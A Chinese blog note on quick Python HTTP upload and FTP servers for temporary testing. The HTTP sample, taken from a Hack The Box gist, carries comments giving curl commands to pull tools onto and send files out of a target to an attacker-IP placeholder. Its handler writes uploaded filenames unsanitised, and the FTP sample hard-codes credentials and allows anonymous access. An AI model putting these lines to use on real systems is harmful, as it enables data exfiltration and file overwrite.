=Start=

缘由：

简单整理一下在Linux服务器上用Python快速创建支持上传（下载）功能的FTP/HTTP服务的方法，方便有需要的时候参考和使用。

正文：

参考解答：

有些时候因为测试需要临时搭建一些环境用于问题验证，专门去下载对应的软件然后安装配置还是有点麻烦，所以想着去搜索整理一些简单快速（尽可能利用现有环境资源，不安装或少安装额外的库/软件，不运行未经过人工审计确认过的大段代码/程序，减小中招概率）去搭建测试环境的方法，方便有需要的时候进行使用。

另外就是需要提前说明的就是，这里搭建的HTTP/FTP服务只适用于临时使用，在使用完了之后最好立即退出，避免出现一些意想不到的问题。

考虑到Python在绝大多数的Linux发行版当中都默认安装，所以平时在（跨平台）传输文件的时候就经常会用到Python的SimpleHTTPServer模块，以HTTP方式共享当前文件夹的文件。

$ python -m SimpleHTTPServer 9000

$ python3 -m http.server 9000

对于文件的下载来说默认的SimpleHTTPServer模块就够了，但是通过这种方式启动的HTTP服务仅支持下载不支持上传，所以下面的内容主要是为了实现一个支持上传功能的HTTP服务。原理本身并不复杂，在此基础上也可根据需要进行简单改写以满足特定需求，我只是为了记录一下方便后面参考，所以这里直接放一些验证过可用的简短代码，想要详细的可以看后面的参考链接进一步查看。

-- 搭建HTTP服务，挑了个代码短的方便展现
#!/usr/env python3
########################################################################
#
#  Simple HTTP server that  supports file upload  for moving data around
#  between boxen on HTB. Based on a gist by bones7456, but mangled by me 
#  as I've tried  (badly) to port it to Python 3, code golf it, and make
#  It a  little more  robust. I was also able to  strip out a lot of the 
#  code trivially  because Python3 SimpleHTTPServer is  a thing, and the
#  cgi module handles multipart data nicely.
#
#  Lifted from: https://gist.github.com/UniIsland/3346170
#
#  Important to note that this tool is quick and dirty and is a good way
#  to get yourself  popped if you're leaving it  running out in the real
#  world. 
#
#  Run it on your attack box from the folder that contains your tools.
#
#  From the target machine:
#  Infil file: curl -O http://<ATTACKER-IP>:44444/<FILENAME>
#  Exfil file: curl -F 'file=@<FILENAME>' http://<ATTACKER-IP>:44444/
# 
#  Multiple file upload supported, just add more -F 'file=@<FILENAME>'
#  parameters to the command line.
#
########################################################################
import http.server
import socketserver
import io
import cgi

# Change this to serve on a different port
PORT = 44444

class CustomHTTPRequestHandler(http.server.SimpleHTTPRequestHandler):

    def do_POST(self):        
        r, info = self.deal_post_data()
        print(r, info, "by: ", self.client_address)
        f = io.BytesIO()
        if r:
            f.write(b"Success\n")
        else:
            f.write(b"Failed\n")
        length = f.tell()
        f.seek(0)
        self.send_response(200)
        self.send_header("Content-type", "text/plain")
        self.send_header("Content-Length", str(length))
        self.end_headers()
        if f:
            self.copyfile(f, self.wfile)
            f.close()      

    def deal_post_data(self):
        ctype, pdict = cgi.parse_header(self.headers['Content-Type'])
        pdict['boundary'] = bytes(pdict['boundary'], "utf-8")
        pdict['CONTENT-LENGTH'] = int(self.headers['Content-Length'])
        if ctype == 'multipart/form-data':
            form = cgi.FieldStorage( fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST', 'CONTENT_TYPE':self.headers['Content-Type'], })
            print (type(form))
            try:
                if isinstance(form["file"], list):
                    for record in form["file"]:
                        open("./%s"%record.filename, "wb").write(record.file.read())
                else:
                    open("./%s"%form["file"].filename, "wb").write(form["file"].file.read())
            except IOError:
                    return (False, "Can't create file to write, do you have permission to write?")
        return (True, "Files uploaded")

Handler = CustomHTTPRequestHandler
with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

-- 搭建FTP服务，需先额外安装pyftpdlib模块
#!/usr/bin/env python
# coding=utf-8

from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer


class MyHandler(FTPHandler):

    def on_connect(self):
        print ("%s:%s connected" % (self.remote_ip, self.remote_port))

    def on_disconnect(self):
        # do something when client disconnects
        pass

    def on_login(self, username):
        # do something when user login
        pass

    def on_logout(self, username):
        # do something when user logs out
        pass

    def on_file_sent(self, file):
        # do something when a file has been sent
        print(self.username, file)
        pass

    def on_file_received(self, file):
        # do something when a file has been received
        print(self.username, file)
        pass

    def on_incomplete_file_sent(self, file):
        # do something when a file is partially sent
        print(self.username, file)
        pass

    def on_incomplete_file_received(self, file):
        # remove partially uploaded files
        import os
        os.remove(file)


def main():
    authorizer = DummyAuthorizer()
    authorizer.add_user('user', 'userpass123', homedir='.', perm='elradfmwMT')
    authorizer.add_anonymous(homedir='/tmp/')

    handler = MyHandler
    handler.authorizer = authorizer
    server = FTPServer(('', 9999), handler)
    server.serve_forever()

if __name__ == "__main__":
    main()

参考链接：

Simple Python Http Server with Upload – Python3 version (测试OK)
https://gist.github.com/touilleMan/eb02ea40b93e52604938

[x]Python SimpleHTTPServer to receive files (测试OK，页面仅支持浏览，上传需要通过curl等命令进行POST操作)
https://stackoverflow.com/questions/39788591/python-simplehttpserver-to-receive-files
https://gist.github.com/smidgedy/1986e52bb33af829383eb858cb38775c

python simple http server with upload & download (测试OK，页面浏览功能不支持；另外就是因为仅改写了PUT操作的代码，所以仅支持用PUT方法上传文件)
https://gist.github.com/darkr4y/761d7536100d2124f5d0db36d4890109
Receiving files over HTTP with Python
https://floatingoctothorpe.uk/2017/receiving-files-over-http-with-python.html

Python’s http.server extended to include a file upload page (因为要额外安装包，所以暂未测试)
https://pypi.org/project/uploadserver/
https://github.com/Densaugeo/uploadserver

One line ftp server in python
https://stackoverflow.com/questions/4994638/one-line-ftp-server-in-python
https://docs.twistedmatrix.com/en/stable/core/examples/#ftp-examples

[y]Extremely fast and scalable Python FTP server library
https://github.com/giampaolo/pyftpdlib
https://pyftpdlib.readthedocs.io/en/latest/tutorial.html#event-callbacks

Pyftpdlib 使用方法
https://blog.csdn.net/xuq09/article/details/84936853

python-ftp-server (Command line FTP server tool designed for performance and ease of use.)
https://pypi.org/project/python-ftp-server/

=END=